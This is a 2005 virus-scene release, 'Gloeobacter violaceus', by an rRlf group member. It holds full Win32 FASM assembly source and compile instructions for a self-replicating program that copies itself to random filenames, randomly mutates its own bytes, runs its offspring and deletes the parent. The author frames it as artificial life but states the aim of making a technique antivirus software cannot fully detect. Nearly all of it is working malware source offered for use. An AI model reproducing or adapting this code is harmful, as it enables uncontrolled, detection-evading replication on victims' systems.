Gloeobacter violaceus
by Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written in May 2005
in Austria
I proudly present my very first real Win32 Project.
Before anything else I have to say that this is neighter a real virus
nor a real engine. It is a program emulating the nature's mutations.
I would descripe it as a primitive artificial life form.
How does it work?
1) When executed, it get's the own filename and the parent's filename
2) It sleeps for 1500 + (0..4095) milliseconds
3) It copies itself to a random filename in the current directory
4) 1/4 it mutates:
- Point Mutation: ~68.75%
- Chromosome Mutation:
* Chromosome Inversation
* Chromosome Translocation
* Chromosome Delection
* Chromosome Dublication
* Chromosome Inseration
5) It executes the new file
6) With a chance of ~50% it jmps to 2
7) It deletes the partent's file
8) It exits it's own process
Where the hell can you see a primitive artificial life form?
Well, we can also say, that the project behaves like that:
1) Birth of the lifeform
2) Growing up until it can replicate itself
3/4) Replicate - there may happen mistakes while replicating
5) Birth of the child
6) Maybe it makes another child?!
7) Give me more space - Remove the corpse of the parent
8) Death of the lifeform
About the name: I've thought long time about a suitable name,
and I think I got a right one: 'Gloeobacter violaceus' are very simple
bacteria, and also one of the very first life form on our world.
With this code I've (more than) partly realized my idea, which I've
written down in the article "Code Evolution: Follow nature's example", and
I think I've succeded.
Now let me write some lines about it's behaviour when it's executed:
First I have to say that every mutation may kill the children. But nevermind,
the same also happens in nature. As I have tested it very well, I've been faced
with some strange mutations. Let me tell you some: The filename of the child
was not .exe but something else; sometimes the DOS-Box opened (when the MZ was
deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges
thing ever happend while testing was the creation of two file called 'v' and ' '.
One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything
else with them. And furthermore they have no arguments as creation-time. They are
just lost space at my HD, but who cares, I dont need these 501kB :)
My intention in writing this code was, beside of creating an artificial life form,
making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)
can be changed, and there is no way to find out, how the whole code is changed.
As even the body of the code may be changed, this could also be called metamorphism.
But I would not call it 'metamorph', as everything is random (the code don't 'know'
what it does).
Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.
For compiling:
Delete the into (this!) and use 'flat assembler 1.56'.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include '..\FASM\INCLUDE\win32ax.inc'
.data
systemtime_struct: ; for random number
dw 0 ; wYear
dw 0 ; wMonth
dw 0 ; wDayOfWeek
dw 0 ; wDay
dw 0 ; wHour
dw 0 ; wMinute
dw 0 ; wSecond
rnd: dw 0 ; wMilliseconds
rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes
times 8 db 0
rnd_file_name: ; This will contain the filename of the new child
times 8 db 0
db '.exe',0
current_file_value: ; Will contain the current running filename
times 8 db 0
db '.exe',0
parent_file dd 0x0 ; Buffer for pointer to the parent-file-name
current_file dd 0x0 ; Buffer for pointer to the current running file
file_handle dd 0x0
file_size dd 0x0
map_pointer dd 0x0
map_handle dd 0x0
change_byte_offset dd 0x0
change_byte_value db 0x0
StartUp_struct:
StartUp_struct_cb dd 0
StartUp_struct_lpReserved dd 0
StartUp_struct_lpDesktop dd 0
StartUp_struct_lpTitle dd 0
StartUp_struct_dwX dd 0
StartUp_struct_dwY dd 0
StartUp_struct_dwXSize dd 0
StartUp_struct_dwYSize dd 0
StartUp_struct_dwXCountChars dd 0
StartUp_struct_dwYCountChars dd 0
StartUp_struct_dwFillAttribute dd 0
StartUp_struct_dwFlags dd 0
StartUp_struct_wShowWindow dw 0
StartUp_struct_cbReserved2 dw 0
StartUp_struct_lpReserved2 dd 0
StartUp_struct_hStdInput dd 0
StartUp_struct_hStdOutput dd 0
StartUp_struct_hStdError dd 0
ProcessInfo_Struct:
PROCESS_INFORMATION_hProcess dd 0
PROCESS_INFORMATION_hThread dd 0
PROCESS_INFORMATION_dwProcessId dd 0
PROCESS_INFORMATION_dwThreadId dd 0
.code
start:
invoke GetCommandLine ; Get the name of the current file
cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]
jne got_my_name ; If no ", then we already have it
;;; FIRST EXECUTION ;;;
inc eax ; Delete first "
mov ebx, eax ; Save the pointer
get_my_name:
inc ebx ; Get next byte
cmp byte [ebx], '.' ; Compare the value with a dot
jne get_my_name ; If not equal, get next letter of the filename
add ebx, 4 ; Get the pointer of the second "
mov byte [ebx], 0x0 ; Del the second "
sub ebx, 4 ; Go back to the dot
get_my_name2:
dec ebx ; Previous letter
cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1)
jne get_my_name2 ; if not, get another letter
inc ebx ; delete the '\'
mov eax, ebx ; eax=ebx=pointer to start of currentfilename
;;; END FIRST EXECUTION ;;;
got_my_name:
mov byte [eax+12], 0x0 ; make a NULL-terminated string
mov [current_file], eax ; Save the filename of the current running process
add eax, 13 ; Point to the first letter of the parent
mov [parent_file], eax ; Save the pointer to the parent
call random_number ; Get random number
mov ecx, [rand_name_buffer] ; Move a random number to ecx
and ecx, 1 ; Random number between 0 and 1: New counter
add ecx, 1 ; ecx++ (counter: 1 or 2 childs)
create_next_child:
push ecx ; Save the counter
call random_number ; Renew random numbers
mov ebp, 1500 ; ebp=1500
mov eax, [rand_name_buffer] ; eax=random number
and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ????
add ebp, eax ; ebp=1500+(0..4095)
invoke Sleep, ebp ; Sleep 1500+(0..4095) ms
call get_n_save_random_name ; Get a random filename
invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name
call random_number ; Get new random number
mov ax, [rand_name_buffer] ; Get them from buffer
xor ah, al ; compain 2 bytes
and ah, 3 ; ???? ???? -> 0000 00??
cmp ah, 2 ; ah=0000 0010?
je evolution ; If yes -> evolution
noevolution: ; Code continues here after mutation, if there where any
call birthofchild ; Make the child living!
pop ecx ; Another child?
loop create_next_child ; If counter>1, create new child!
cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?)
je Death ; If so, no parent killing, as there is no parent!
invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D)
Death:
invoke ExitProcess, 0 ; Close current process: Death! :)
birthofchild:
mov esi, [current_file] ; esi=pointer to current file name
mov edi, current_file_value ; edi=pointer to buffer for current file name
mov ecx, 8 ; counter: 8 bytes to copy
rep movsb ; Move ecx byte from [esi] to [edi]
mov byte [current_file_value-1], 0x20 ; Delete the 0x0
invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process
mov byte [current_file_value-1], 0x0 ; Reset the 0x0
ret
random_number:
pop edi ; Get value of stack
push edi ; Back to the stack
mov ecx, 8 ; ecx=counter
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
mov dl, 0x87 ; same as dh
random_name_loop:
push dx ; Save dx at stack
push ecx ; Save counter at stack
call random_byte ; Random number in al
pop ecx ; get counter
xor al, cl ; Counter influences pseudo random number
pop dx ; Get dx
push ecx
xor dx, cx ; Counter influences influncing number
add dh, al ; Random number influences influencing number
sub dl, al ; Same as dh
neg dl ; Neg dl
xor dl, dh ; dl XOR dh -> more variability
xor al, dl ; random number changes
sub ax, di ; value of stack influences random number
add ax, dx ; ax+dx
mov dl, [rand_name_buffer+ecx-2]
mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
sub al, dl ; al-=dl
add al, dh ; al+=dh
mov ah, dl ; ah=dl
push ax ; AX to stack
mov cl, 1 ; cl=1
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
mul dh ; AL=AX*DH
pop cx ; CX=old AX
push cx ; To stack again
add cl, al ; CL+=AL
sub cl, ah ; CL-=AH
xchg al, cl ; AL=CL
mov cx, bp ; cx=bp
mul cl ; AX=AL*CL
neg ah ; NEG AH
xor al, ah ; xor AL and AH
pop cx ; get old AX
sub cl, al ; SUB
add cl, dl ; cl+=old random number
sub al, cl ; al ~=random :)
pop ecx ; Get counter
mov [rand_name_buffer+ecx-1], al ; Save random letter
loop random_name_loop
ret
random_name:
call random_number ; Get 8 random bytes
mov ecx, 8 ; counter=8, as we want to do it 8 times
changetoletter:
mov al, [rand_name_buffer+ecx-1] ; Get a letter
mov bl, 10 ; BL=10
xor ah, ah ; AX: 0000 0000 ???? ????
div bl ; AL=rnd/10=number between 0 and 25
add al, 97 ; Add 97 for getting lowercase letters
mov [rnd_file_name+ecx-1], al ; Save random letter
loop changetoletter
ret
random_byte:
invoke GetSystemTime, systemtime_struct ; Get first number
mov ebx, [rnd-2] ; ebx=number
add ebx, edx ; Making it pseudo-independent of time
sub ebx, ecx
xor ebx, eax
xchg bl, bh
pop ecx
push ecx
neg ebx
xor ebx, ecx ; ebx=pseudo-indepentend number
invoke GetTickCount ; Get second number
xor eax, ecx ; eax=number
neg ax ; Making it pseudo-independent of time
xor eax, edx
xor ah, al
sub eax, ebp
add eax, esi ; eax=pseudo-indepentend number
xor eax, ebx ; Compain the numbers -> eax
mov ebx, eax ; Save eax
shr eax, 8 ; e-part -> ax
xor ax, bx
xor al, ah ; al=number
ret
get_n_save_random_name:
mov ebp, 12 ; ebp influences the pseudo-random-number engine too
call random_name ; Get a random name
ret
evolution:
; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0
invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file
mov [file_handle], eax ; Save the file handle
invoke GetFileSize, [file_handle], file_size ; Get the size of the file
mov [file_size], eax ; Low Filesize returned in eax
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map
mov [map_handle], eax ; Save the Map handle
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file
mov [map_pointer], eax ; Save the pointer of file
call random_number ; Get a random number
mov al, [rand_name_buffer] ; Radom number in al
; Chances:
; Point-Mutation: ~50%+18.75%=~68.75%
; Each Chromosome Mutation: ~6.25%
and al, 1 ; al=0000 000?
cmp al, 1 ; Compare with 1
je pointmutation ; If al=1 then jmp pointmutation (change: ~50%)
mov al, [rand_name_buffer+4] ; al=new random number
and al, 7 ; al=0000 0???
cmp al, 0 ; Compare al with 0
je chrom_inversation ; If al=0 make Chromosome Inversation
cmp al, 1 ; Compare al with 1
je chrom_translocation ; If al=1 make Chromosome Translocation
cmp al, 2 ; Compare al with 2
je chrom_delection ; If al=2 make Chromosome Delection
cmp al, 3 ; Compare al with 3
je chrom_dublication ; If al=2 make Chromosome Dublication
cmp al, 4 ; Compare al with 4
je chrom_inseration ; If al=4 make Chromosome Inseration
jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%)
endofmutation:
invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File
invoke CloseHandle, [map_handle] ; Close Map
invoke CloseHandle, [file_handle] ; Close File
jmp noevolution
pointmutation: ; Mutation: Pointmutation
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=File size
cmp eax, ebx ; comparee Random Number with File Size
jg pointmutation ; If RN>Filesize then get new random number (=byte to change)
add eax, [map_pointer] ; eax=Byte to change in memory
mov [change_byte_offset], eax ; Save the offset
mov ah, [eax] ; Get the value of the byte
mov [change_byte_value], ah ; Save it
mov cl, [rand_name_buffer+5] ; cl=???? ????
and cl, 7 ; cl=0000 0???
mov al, 1 ; al=0000 0001
shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?
mov esi, [change_byte_offset] ; esi=offset of byte to change
xor [esi], al ; XOR byte with AL
; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0
jmp endofmutation
chrom_inversation: ; Mutation: Chromosome Mutation - Inversation
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts)
cmp eax, ebx ; comparee Random number with Filesize-16
jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
xor ecx, ecx ; ecx=0
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
mov esi, [change_byte_offset] ; ESI=Offset of part 1
mov edi, rand_name_buffer ; EDI=Offset of Buffer
rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=Counter (start of part 2)
add eax, [change_byte_offset] ; eax+=Offset in memory of part 2
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=Counter
mov esi, eax ; ESI=Offset of part 2
mov edi, [change_byte_offset] ; EDI=Offset of part 1
rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=Counter
mov eax, [change_byte_offset] ; eax=Start of part 1
add eax, ecx ; eax=Start of part 2
mov esi, rand_name_buffer ; ESI=Offset of buffer
mov edi, eax ; EDI=Offset of part 2
rep movsb ; buffer to part 1
; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0
jmp endofmutation ; Finished Inversation!
chrom_translocation:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
cmp eax, ebx ; Compare Random number with Filesize-8
jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
xor ecx, ecx ; ecx=0
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
mov esi, [change_byte_offset] ; ESI=Offset of source
mov edi, rand_name_buffer ; EDI=Offset of Buffer
rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
mov ecx, [file_size] ; eax=filesize
add ecx, [map_pointer] ; eax=End of file in memory
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
mov esi, [change_byte_offset] ; esi=Pointer to change byte
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
add esi, eax ; esi=Pointer to end of changing in memory
mov edi, [change_byte_offset] ; edi=Offset of changing
rep movsb
chrom_trans_loop: ; Get a offset, where to save the part
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
cmp eax, ebx ; Compare Random number with Filesize-8
jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save offset of changing
mov ecx, [map_pointer] ; ecx=Start of file in memory
add ecx, [file_size] ; ecx=End of file in memory
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
sub ecx, eax ; ecx-=number of bytes to change
mov esi, [change_byte_offset] ; esi=Offset of changing
mov edi, [change_byte_offset] ; edi=offset of changing
add edi, eax ; edi=Offset after changing
chrom_trans_buffer: ; Delete the Code-Part
mov al, [esi+ecx] ; al=Value to Replace
mov [edi+ecx], al ; Save al
loop chrom_trans_buffer
; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0
jmp endofmutation
chrom_delection:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; comparee Random number with Filesize
jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save the pointer
call random_number ; Get a random number
xor ecx, ecx ; ecx=0
mov cl, [rand_name_buffer] ; cl=random number
and cl, 7 ; cl=0000 0???
mov [change_byte_value], cl ; Save the random number
mov ecx, [file_size] ; eax=filesize
add ecx, [map_pointer] ; eax=End of file in memory
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
mov esi, [change_byte_offset] ; esi=Pointer to change byte
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
add esi, eax ; esi=Pointer to end of changing in memory
mov edi, [change_byte_offset] ; edi=Offset of changing
rep movsb
; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0
jmp endofmutation
chrom_dublication:
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size
invoke CloseHandle, [map_handle] ; Close Map-Handle
call random_number ; Get a random number
xor ecx, ecx ; ecx=0
mov cl, [rand_name_buffer] ; cl=random number
and cl, 7 ; cl=0000 0???
mov [change_byte_value], cl ; Save the random number
add ecx, [file_size] ; ecx=New filesize
mov [file_size], ecx ; Save new filesize
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
mov [map_handle], eax
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
mov [map_pointer], eax
chrom_dubl_loop1:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; comparee Random number with Filesize
jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; eax=Pointer to changing part
mov [change_byte_offset], eax ; Save the offset
mov ecx, [map_pointer] ; ecx=Start of file in memory
add ecx, [file_size] ; ecx=End of file in memory
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
sub ecx, eax ; ecx-=number of bytes to change
mov esi, [change_byte_offset] ; esi=Offset of changing
mov edi, [change_byte_offset] ; edi=offset of changing
add edi, eax ; edi=Offset after changing
chrom_dubl_buffer: ; Make a buffer
mov al, [esi+ecx] ; al=Value to Replace
mov [edi+ecx], al ; Save al
loop chrom_dubl_buffer
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=lenght of string to dublicate
mov esi, [change_byte_offset] ; From
mov edi, [change_byte_offset] ; To
add edi, ecx ; Offset of buffer
rep movsb
; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0
jmp endofmutation
chrom_inseration:
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size
invoke CloseHandle, [map_handle] ; Close Map-Handle
call random_number ; Get a random number
xor ecx, ecx ; ecx=0
mov cl, [rand_name_buffer] ; cl=random number
and cl, 7 ; cl=0000 0???
mov [change_byte_value], cl ; Save the random number
add ecx, [file_size] ; ecx=New filesize
mov [file_size], ecx ; Save new filesize
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
mov [map_handle], eax
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
mov [map_pointer], eax
chrom_inser_loop1:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; comparee Random number with Filesize
jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; eax=Pointer to changing part
mov [change_byte_offset], eax ; Save the offset
mov esi, [change_byte_offset] ; esi=Offset to get the new part
mov edi, rand_name_buffer ; edi=where to save
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=How many bytes
rep movsb ; Save the part.
chrom_inser_loop2:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; Compare Random number with Filesize
jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; eax=Pointer to changing part
mov [change_byte_offset], eax ; Save the offset
mov ecx, [map_pointer] ; ecx=Start of file in memory
add ecx, [file_size] ; ecx=End of file in memory
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
sub ecx, eax ; ecx-=number of bytes to change
mov esi, [change_byte_offset] ; esi=Offset of changing
mov edi, [change_byte_offset] ; edi=offset of changing
add edi, eax ; edi=Offset after changing
chrom_inser_buffer: ; Make a buffer
mov al, [esi+ecx] ; al=Value to Replace
mov [edi+ecx], al ; Save al
loop chrom_inser_buffer
mov esi, rand_name_buffer ; esi=source
mov edi, [change_byte_offset] ; edi=destination
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=length
rep movsb ; Write saved part to the new place
; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0
jmp endofmutation
.end start